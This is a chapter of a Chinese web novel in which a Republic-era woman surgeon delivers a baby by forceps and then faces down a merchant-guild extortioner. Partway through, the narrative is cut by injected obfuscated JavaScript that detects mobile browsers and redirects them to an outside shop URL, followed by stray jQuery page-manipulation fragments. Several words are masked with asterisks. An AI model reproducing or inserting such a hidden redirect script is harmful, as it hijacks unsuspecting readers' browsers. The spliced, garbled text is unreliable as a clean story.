济世堂那扇刚擦拭干净的玻璃门，“砰”的一声被关上了，隔绝了街道上嘈杂的议论和指指点点。


    夕阳的余晖透过门缝斜斜地洒进来，照在阿福惨白的小脸上。他死死抵住门，听着外面那些“**了”、“造孽啊”的叫骂声，浑身都在发抖。


    “东……东家，真的要救吗？这可是两只脚都踏进鬼门关的人了……”阿福转过头，声音带着哭腔。


    在他看来，这根本不是救人，这是在给自己找麻烦。那个乞丐婆已经翻了白眼，出气多进气少，肚子大得像个随时会炸开的皮球，身下的草席早就被血水浸透了。这要是死在店里，济世堂这块刚挂上去的金字招牌，怕是还没亮就要砸了。


    “少废话，烧水，点灯！”


    沈晚清的声音冷得像冰渣子，却带着一股奇异的镇定力量。


    她动作利落地脱下那件价值不菲的丝绸旗袍，换上了早已准备好的白色棉布大褂。这一刻，她不再是沈家那个被扫地出门的大小姐，而是海城——不，是整个民国绝无仅有的外科圣手。


    后院的一间厢房已经被她改造成了简易的手术室。虽然简陋，没有无影灯，没有呼吸机，但在她一遍遍的高锰酸钾熏蒸和酒精擦拭下，这里是目前海城华界最干净的地方。


    “把人抬上来。”


    沈晚清指挥着那个名叫赵龙的年轻乞丐。


    赵龙此刻也是满头大汗，那双布满老茧的大手颤抖着，小心翼翼地将母亲放到那张窄小的手术台上。


    “大夫……求您……一定要救活我娘……”赵龙这个七尺高的汉子，此刻眼圈通红，“我就这一个亲人了。只要您救活她，我赵龙给您当牛做马！”


    “出去。”


    沈晚清没有多余的废话，眼神锐利，“在外面守着，谁也不许进来。不管听到什么声音，都不许闯进来。否则，就是你亲手杀了你娘。”


    赵龙浑身一震，看着沈晚清那双不容置疑的眼睛，咬了咬牙，重重地点了个头，转身退了出去，像尊门神一样守在手术室门口。


    手术室的门关上了。


    屋内点起了四盏极亮的煤油汽灯，将房间照得如同白昼。


    沈晚清戴上口罩和橡胶手套，拿起听诊器贴在产妇高耸的肚皮上。


    微弱，但急促。


    胎心还在，在160左右徘徊，这是胎儿宫内窘迫的信号。再拖半小时，就是一尸两命。


    她迅速检查了产道。


    “胎位不正，是枕后位，加上产妇高龄体弱，宫缩无力。”沈晚清迅速做出了判断。


    在这个年代，这就是绝症。稳婆遇到这种情况，通常只会问保大还是保小，或者干脆用土法子把孩子硬拽出来，结果往往是产妇大出血而亡。


    但在沈晚清眼里，这只是一个需要侧切和产钳助产的手术。


    “阿福，过来帮忙。”沈晚清冷静地命令道，“别怕，把这瓶**滴在面罩上，捂住她的口鼻。我要让她睡一觉。”


    阿福虽然吓得腿软，但看着东家那双沉稳的手，不知怎的，心里竟然生出一股勇气。他哆哆嗦嗦地接过**瓶子：“是……是，东家。”


    随着**的挥发，原本还在痛苦呻吟、身体抽搐的产妇，呼吸渐渐平稳下来，陷入了深度的麻醉昏迷。


    这是1920年的海城，除了租界的洋人医院，普通百姓哪里见过“麻醉”这种神技？若是外面的人看到这一幕，怕是要喊着“****”了。


    沈晚清拿起手术刀。


    那是她从黑市花重金买来的德国货，刀锋在汽灯下闪烁着凛冽的寒光。


    “消毒。”


    碘伏擦拭过会阴部。


    没有任何犹豫，沈晚清手中的柳叶刀稳准狠地切了下去！


    会阴左侧切开术。


    鲜血瞬间涌出，但很快被止血钳夹住。


    这一刀，是为了扩宽产道，给那个卡住的孩子一条生路。


    如果此时有中医或者稳婆在场，看到这“残忍”的一幕，恐怕会当场吓晕过去。在这个讲究“身体发肤受之父母”的年代，在人身上动刀子，简直是大逆不道。


    但沈晚清的神情专注而虔诚。


    她是医生，在她的眼中，没有男女之防，没有封建礼教，只有生命。


    “产钳。”


    沈晚清从托盘里拿起那两把早已消毒好的金属产钳。这两把像大号勺子一样的金属器械，在这个时代绝对是稀罕物。


    她熟练地将产钳叶片分别滑入产道，准确地扣住了胎儿的头部。


    “阿福，按住她的腿。”


    “吸气……用力……”沈晚清虽然知道产妇听不见，但还是习惯性地低语，配合着并不存在的宫缩，手腕巧妙地用力旋转、牵拉。


    一下，两下。


    汗水顺着沈晚清的额头滑落，流进眼睛里，涩得生疼，但她连眨都没眨一下。


    终于，一个黑紫色的、湿漉漉的小脑袋，缓缓从切口处滑了出来！


    “出……出来了！”阿福惊呼出声，眼珠子都要瞪出来了。他这辈子都没见过这么生孩子的！


    沈晚清没有松懈，迅速清理胎儿口鼻中的羊水和粘液，然后轻轻一托，将整个婴儿拉了出来。


    是个男孩。


    但是，孩子浑身青紫，没有哭声。


    窒息。


    手术室里的空气瞬间凝固。


    如果救活了大人，孩子却**，这手术依然算不上成功。


    沈晚清立刻将婴儿倒提起来，拍打脚底。


    没反应。


    她当机立断，将婴儿放在操作台上，俯下身，口对口地吸出了婴儿呼吸道里残留的浑浊羊水，然后开始进行胸外按压和人工呼吸。


    一下，两下，三下……


    时间一分一秒地过去。


    门外，隐约传来了赵龙焦躁的踱步声和外面人群的喧哗。


    “这都半个时辰了，肯定**！”“那个女娃娃懂什么接生，这是作孽啊！”


    阿福看着那个毫无生气的小身子，心都凉了半截：“东家……是不是……”


    “哇——！！！”


    一声微弱却穿透力极强的啼哭声，猛然在手术室里炸响！


    这声音虽然稚嫩沙哑，却像是天籁之音，瞬间击碎了所有的死寂。


    孩子的小胸脯剧烈起伏着，原本青紫的皮肤开始慢慢转红。


    活了！


    阿福腿一软，直接瘫坐在地上，又哭又笑：“活了！真的活了！”


    沈晚清长长地舒了一口气，只觉得双臂酸痛得几乎抬不起来。她直起腰，嘴角勾起一抹疲惫却欣慰的笑意。


    但这还没完。


    缝合。


    她重新拿起持针器，对产妇的伤口进行分层缝合。这对于刚刚给陆淮锦做过枪伤手术的她来说，已经是驾轻就熟。


    二十分钟后。


    手术结束。


    沈晚清摘下满是血迹的手套，洗净了手，亲自抱着那个被包在干净棉布里的小家伙，示意阿福打开手术室的门。


    门外。


    赵龙正像头困兽一样在门口转圈，听到开门声，猛地扑了过来，却又在距离沈晚清一步之遥的地方硬生生刹住车，不敢伸手。


    他看着沈晚清那一身沾着血迹的白大褂，嘴唇哆嗦着：“大夫……我娘她……”


    沈晚清将怀里那个正在哇哇大哭的小团子递了过去。


    “是个儿子，五斤六两，母子平安。”


    赵龙僵住了。


    他看着那个红彤彤、皱巴巴的小东西，又看了看沈晚清平静的脸，仿佛在听天书。


    “平……平安？”


    “怎么，还要我再说一遍？”沈晚清挑眉，“你娘麻药还没过，大概还要睡一个时辰。进去看看吧，别大声喧哗。”


    赵龙“噗通”一声，双膝重重地砸在地上，把青砖地面都砸得震天响。


    “神医！活菩萨啊！！”


    这个流血不流泪的汉子，此刻哭得像个孩子，不停地给沈晚清磕头，额头都磕破了，“我赵龙这条命，以后就是您的！谁敢动济世堂一块砖，我就跟谁拼命！”


    门外围观的街坊邻居们，原本都在等着看笑话，甚至有人准备好了烂菜叶子要砸这个“害人精”。


    可当那响亮的婴儿哭声传出来，当看到赵龙抱着孩子跪地痛哭的场景时，所有人都哑巴了。


    “活了？真的活了？”


    “我的天爷，那可是难产了两天的死胎啊！”


    “这沈家大小姐……莫非是被神仙附体了？”


    人群中，一个看热闹的老郎中摸着胡子，一脸见鬼的表情：“剖腹取子还能母子双全？这……这简直是华佗在世啊！”


    沈晚清站在门口，解下染血的口罩，露出一张清冷绝美的脸。


    她看着门外那些从质疑到震惊，再到敬畏的眼神，朗声道：


    “我沈晚清开济世堂，只为救人，不问出身。无论是达官显贵，还是贩夫走卒，进了这道门，就是我的病人。”


    “今日起，济世堂正式问诊。专治外科创伤、难产急症。若有疑难杂症，尽管抬来！”


    这一番话，掷地有声。


    夕阳下，那个穿着染血白大褂的身影，在众人眼中变得高大起来。


    那个关于“沈家弃女”、“败家精”的谣言，在这一刻，不攻自破。取而代之的，是一个关于“妙手回春”、“女华佗”的传说。


    ……


    入夜。


    济世堂终于安静了下来。


    产妇已经被转移到了干净的病房，喝了点糖水，虽然虚弱，但精神尚好。赵龙寸步不离地守在床边，看着熟睡的弟弟和老娘，傻笑着流泪。


    后院，沈晚清正在清洗手术器械。


    这是她的习惯，每一把刀，每一把剪，都要亲自保养。


    “东家，您累坏了吧？快喝口热茶。”阿福端着一杯茶走了进来，看向沈晚清的眼神里充满了崇拜，就像在看神仙。


    沈晚清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935496|192885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接过茶，轻轻抿了一口。


    “阿福，今天怕吗？”


    “怕……”阿福老实地点点头，随即又挺起胸膛，“但是看到那孩子哭出来的时候，就不怕了！东家，您真厉害！那刀子划下去，我都快吓**，您手都不抖一下！”


    沈晚清笑了笑，目光深邃：“阿福，记住了。咱们手里拿的虽然是刀，但行的却是慈悲事。这就叫‘霹雳手段，菩萨心肠’。”


    就在这时，前堂突然传来了一阵急促的敲门声。


    这个时候？


    沈晚清放下茶杯，眉头微皱。难道又有急诊？


    她示意阿福去开门，自己则将手术刀藏在袖口，警惕地跟在后面。


    门开了。


    站在门口的，并不是什么病人。


    而是一个穿着黑色长衫、戴着礼帽的中年男人。他身后跟着两个目光阴鸷的随从，一看就不是善茬。


    那人看了一眼阿福，目光越过他，直接落在沈晚清身上，皮笑肉不笑地拱了拱手：


    “沈小姐，鄙人是海城商会的管事，姓周。这么晚打扰，是有件事想跟沈小姐‘商量’一下。”


    商会？


    沈晚清眼神微冷。海城商会把持着整个华界的药材生意，说是商会，其实就是地头蛇。


    “周管事请讲。”


    “听说沈小姐今天露了一手绝活，把**都救活了，真是佩服。”周管事走进店内，四处打量了一番，眼神贪婪，“不过嘛，这海城医药行有医药行的规矩。沈小姐这铺子重开，一没拜码头，二没入会，这生意……怕是不好做啊。”


    “哦？”沈晚清倚在柜台上，似笑非笑，“那依周管事的意思，我该怎么做？”


    “简单。”周管事伸出五根手指，“济世堂每月的流水，我们要抽五成。另外，听说沈小姐手里有一种白色的药粉，效果极好。把那配方交出来，这海城以后就没人敢找您的麻烦。”


    图穷匕见。


    原来是盯上了她的药。


    今天的手术虽然成功，但产妇之所以没感染，除了无菌操作，沈晚清最后敷在伤口上的那点自制消炎粉功不可没。没想到这帮人鼻子这么灵，这么快就闻着味儿来了。


    阿福气得脸都红了：“五成？！你们怎么不去抢！”


    “这就是抢，怎么样？”周管事身后的随从上前一步，露出腰间别着的斧头。


    沈晚清伸手拦住阿福，脸上并没有丝毫慌张。


    “五成？配方？”


    她低声重复着这两个词，突然轻笑出声，“周管事，您的胃口未免太小了。”


    周管事一愣：“什么意思？”


    “我的药，能救命，也能换金条。”沈晚清随手从柜台上拿起一瓶她特制的药粉，“您只要这点，是不是太看不起这药了？”


    周管事眼中精光大盛：“那是自然！沈小姐是个明白人！只要您合作……”


    “可惜啊。”


    沈晚清话锋一转，眼神瞬间变得冰冷如刀，“这药，我给乞丐用，给穷人用，甚至给狗用，都不会给你们这种吸血鬼用。”


    “你！敬酒不吃吃罚酒！”周管事恼羞成怒，“给我砸！让这小娘们知道知道规矩！”


    两个随从拔出斧头就要动手。


    “我看谁敢！！”


    一声暴喝从后院传来。


    只见赵龙像头愤怒的黑熊一样冲了出来，手里抄着一根粗大的门闩。他身后，不知何时**了十几个衣衫褴褛却满眼凶光的乞丐。


    “敢动我恩人？问问我丐帮的一万兄弟答不答应！！”


    赵龙一声吼，震得那两个随从手一抖，斧头差点掉下来。


    丐帮？


    周管事脸色一变。在海城，除了军阀和青帮，最难缠的就是这群光脚不怕穿鞋的乞丐。他们虽然没钱，但人多势众，遍布全城，真要惹急了，能把你家祖坟都刨了。


    “好……好你个沈晚清，竟然跟臭要饭的混在一起！”周管事指着沈晚清，色厉内荏，“你给我等着！咱们走着瞧！”


    说完，带着人灰溜溜地跑了。


    看着他们狼狈逃窜的背影，沈晚清收起了手中的手术刀。


    她转头看向赵龙和那一群乞丐，心中涌起一股暖流。


    这一刀，没白开。


    在这个乱世，有时候最底层的力量，才是最坚实的护盾。


    “赵大哥。”沈晚清看着赵龙，“既然大家都来了，我有件事，想请各位兄弟帮个忙。”


    “恩人您说！上刀山下火海，皱一下眉头我就不是人！”赵龙拍着胸脯。


    沈晚清从柜台下拿出一把银元，放在桌上。


    “不用上刀山。我想请各位兄弟，帮我盯着几个人，还有……帮我散布点消息。”


    她的眼神望向窗外漆黑的夜色，那里是沈公馆的方向。


    既然商会来找茬，那正好借力打力。


    她要让整个海城都知道，沈志远手里那只花瓶，到底是个什么货色。